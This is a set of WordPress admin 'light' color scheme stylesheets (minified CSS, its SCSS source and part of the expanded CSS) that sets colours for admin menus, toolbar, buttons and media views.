.page-title-action:focus{border-color:#09cafa;color:#025468;box-shadow:0 0 0 1px #09cafa}.view-switch a.current:before{color:#e5e5e5}.view-switch a:hover:before{color:#d64e07}#adminmenu,#adminmenuback,#adminmenuwrap{background:#e5e5e5}#adminmenu a{color:#333}#adminmenu div.wp-menu-image:before{color:#999}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#888}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#ccc}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f5f5f5;border-bottom-color:#f5f5f5}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#fff}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#fff}#adminmenu .wp-submenu .wp-submenu-head{color:#686868}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#686868}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#04a4cc}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#333}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#04a4cc}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f5f5f5}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#888}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#ccc}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#d64e07}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#333;background:#fff}#collapse-button{color:#777}#collapse-button:focus,#collapse-button:hover{color:#04a4cc}#wpadminbar{color:#333;background:#e5e5e5}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#333}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#999}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#04a4cc;background:#fff}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#04a4cc}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#04a4cc}#wpadminbar .menupop .ab-sub-wrapper{background:#fff}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#f7f7f7}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#686868}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#999}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#04a4cc}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#04a4cc}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#999}#wpadminbar #adminbarsearch:before{color:#999}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#333;background:#f7f7f7}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d64e07}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#c14606}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#f7f7f7;background-color:#f7f7f7}#wpadminbar #wp-admin-bar-user-info .display-name{color:#333}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#04a4cc}#wpadminbar #wp-admin-bar-user-info .username{color:#686868}.wp-pointer .wp-pointer-content h3{background-color:#04a4cc;border-color:#0490b3}.wp-pointer .wp-pointer-content h3:before{color:#04a4cc}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#04a4cc}.media-item .bar,.media-progress-bar div{background-color:#04a4cc}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #04a4cc}.attachment.details .check{background-color:#04a4cc;box-shadow:0 0 0 1px #fff,0 0 0 2px #04a4cc}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #04a4cc}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#04a4cc}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#04a4cc}.theme-filter.current,.theme-section.current{border-bottom-color:#e5e5e5}body.more-filters-opened .more-filters{color:#333;background-color:#e5e5e5}body.more-filters-opened .more-filters:before{color:#333}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#888;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#888;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #09cafa,0 0 2px 1px #04a4cc}div#wp-responsive-toggle a:before{color:#999}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#888}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#fff}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#999}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#04a4cc}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#04a4cc}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#04a4cc}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#04a4cc}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #09cafa,0 0 2px 1px #04a4cc}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#04a4cc;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#04a4cc}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#04a4cc;border-style:solid;box-shadow:0 0 0 1px #04a4cc;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#04a4cc}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#04a4cc}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#04a4cc}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #09cafa,0 0 2px 1px #04a4cc}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#04a4cc;color:#0073aa}.theme-filter.current,.theme-section.current{border-bottom-color:#04a4cc}$scheme-name: "light";
$base-color: #e5e5e5;
$icon-color: #999;
$text-color: #333;
$highlight-color: #04a4cc;
$notification-color: #d64e07;

$body-background: #f5f5f5;

$menu-highlight-text: #fff;
$menu-highlight-icon: #ccc;
$menu-highlight-background: #888;

$menu-bubble-text: #fff;
$menu-avatar-frame: #aaa;
$menu-submenu-background: #fff;

$menu-collapse-text: #777;
$menu-collapse-focus-icon: #555;

$dashboard-accent-1: $highlight-color;
$dashboard-accent-2: desaturate( lighten( $highlight-color, 7% ), 15% );
$dashboard-icon-background: $text-color;

@import "../_admin.scss";

/* Override the theme filter highlight color for this scheme */
.theme-section.current,
.theme-filter.current {
	border-bottom-color: $highlight-color;
}
/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f5f5f5;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #7e8993;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #04a4cc;
  box-shadow: 0 0 0 1px #04a4cc;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #04a4cc;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #04a4cc;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #04a4cc;
  border-color: #04a4cc;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #037c9a;
  color: #037c9a;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #09cafa;
  color: #025468;
  box-shadow: 0 0 0 1px #09cafa;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #04a4cc;
  border-color: #04a4cc;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #04b0db;
  border-color: #0498bd;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #04a4cc;
}
.wp-core-ui .button-primary:active {
  background: #0490b3;
  border-color: #0490b3;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #04a4cc;
  color: #fff;
  border-color: #036881;
  box-shadow: inset 0 2px 5px -3px black;
}
.wp-core-ui .button-group > .button.active {
  border-color: #04a4cc;
}
.wp-core-ui .wp-ui-primary {
  color: #333;
  background-color: #e5e5e5;
}
.wp-core-ui .wp-ui-text-primary {
  color: #e5e5e5;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #888;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #888;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #d64e07;
}
.wp-core-ui .wp-ui-text-notification {
  color: #d64e07;
}
.wp-core-ui .wp-ui-text-icon {
  color: #999;
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #04a4cc;
  color: #04a4cc;
}

.wrap .page-title-action:hover {
  color: #037c9a;
  border-color: #037c9a;
}

.wrap .page-title-action:focus {
  border-color: #09cafa;
  color: #025468;
  box-shadow: 0 0 0 1px #09cafa;
}

.view-switch a.current:before {
  color: #e5e5e5;
}

.view-switch a:hover:before {
  color: #d64e07;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #e5e5e5;
}

#adminmenu a {
  color: #333;
}

#adminmenu div.wp-menu-image:before {
  color: #999;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #888;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #ccc;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f5f5f5;
  border-bottom-color: #f5f5f5;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #fff;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-left-color: #fff;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #686868;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #686868;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #04a4cc;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #333;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #04a4cc;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-left-color: #f5f5f5;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #888;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #ccc;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #d64e07;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #333;
  background: #fff;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #777;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #04a4cc;
}

/* Admin Bar */
#wpadminbar {
  color: #333;
  background: #e5e5e5;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #333;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #999;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #04a4cc;
  background: #fff;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #04a4cc;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #04a4cc;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #fff;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #f7f7f7;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #686868;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #999;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #04a4cc;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #04a4cc;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #999;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #999;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #333;
  background: #f7f7f7;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #d64e07;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #c14606;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #f7f7f7;
  background-color: #f7f7f7;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #333;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #04a4cc;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #686868;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #04a4cc;
  border-color: #0490b3;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #04a4cc;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #04a4cc;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #04a4cc;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #04a4cc;
}

.attachment.details .check {
  background-color: #04a4cc;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #04a4cc;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #04a4cc;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #04a4cc;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #04a4cc;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #e5e5e5;
}

body.more-filters-opened .more-filters {
  color: #333;
